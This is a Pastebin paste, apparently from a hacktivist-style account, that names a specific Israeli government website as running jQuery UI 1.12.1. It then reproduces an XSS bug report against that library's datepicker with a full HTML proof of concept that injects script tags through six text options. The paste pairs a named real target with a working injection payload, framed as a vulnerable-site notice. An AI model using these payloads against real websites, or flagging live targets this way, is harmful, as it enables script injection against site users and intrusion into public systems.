Advertisement
GhostSecCanada

jQuery UI - v1.12.1 Vulnerable Website

Jun 15th, 2021
549
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.93 KB | None | 0 0
  1. https://www.gov.il/Content/Ver_3/GeneralStyle?v=mGX5UPW5WKaLw05wiEkpbwRmFZYDvlBVJ1dB36eT8hs1
  2.  
  3. jQuery UI - v1.12.1 - 2016-09-14
  4. * http://jqueryui.com
  5. * Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css
  6.  
  7. XSS Vulnerability on text options of jQuery UI datepicker
  8.  
  9. Description
  10. similar to ​https://github.com/jquery/api.jqueryui.com/issues/281 but applies to the datepicker
  11. to recreate
  12. Create a new HTML page.
  13. Inject this content into new page:
  14.  
  15.  
  16. <!DOCTYPE html>
  17. <html xmlns="http://www.w3.org/1999/xhtml">
  18. <head>
  19. <title>XSS in options of datepicker</title>
  20.  
  21. <script src="https://code.jquery.com/jquery-3.3.1.js"></script>
  22. <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
  23. <link rel="stylesheet" type="text/css" href="http://code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
  24. <script>
  25. $(document).ready(function () {
  26. $( "#datepicker" ).datepicker({
  27. showButtonPanel: true,
  28. showOn: "both",
  29. closeText: '<script>alert("closeText XSS")<\/script>',
  30. currentText: '<script>alert("currentText XSS")<\/script>',
  31. prevText: '<script>alert("prevText XSS")<\/script>',
  32. nextText: '<script>alert("nextText XSS")<\/script>',
  33. buttonText: '<script>alert("buttonText XSS")<\/script>',
  34. appendText: '<script>alert("appendText XSS")<\/script>'
  35. });
  36. });
  37. </script>
  38. </head>
  39. <body>
  40. <p>Date: <input type="text" id="datepicker"></p>
  41. </body>
  42. </html>
  43.  
  44.  
  45. on load, alerts are shown for appendText & buttonText
  46. after clicking the input control, alerts are shown for closeText, currentText, prevText & nextText
  47.  
  48. The scripted alerts should not be shown - an attacker can take advantage of injecting malicious XSS content into website.
  49.  
  50.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement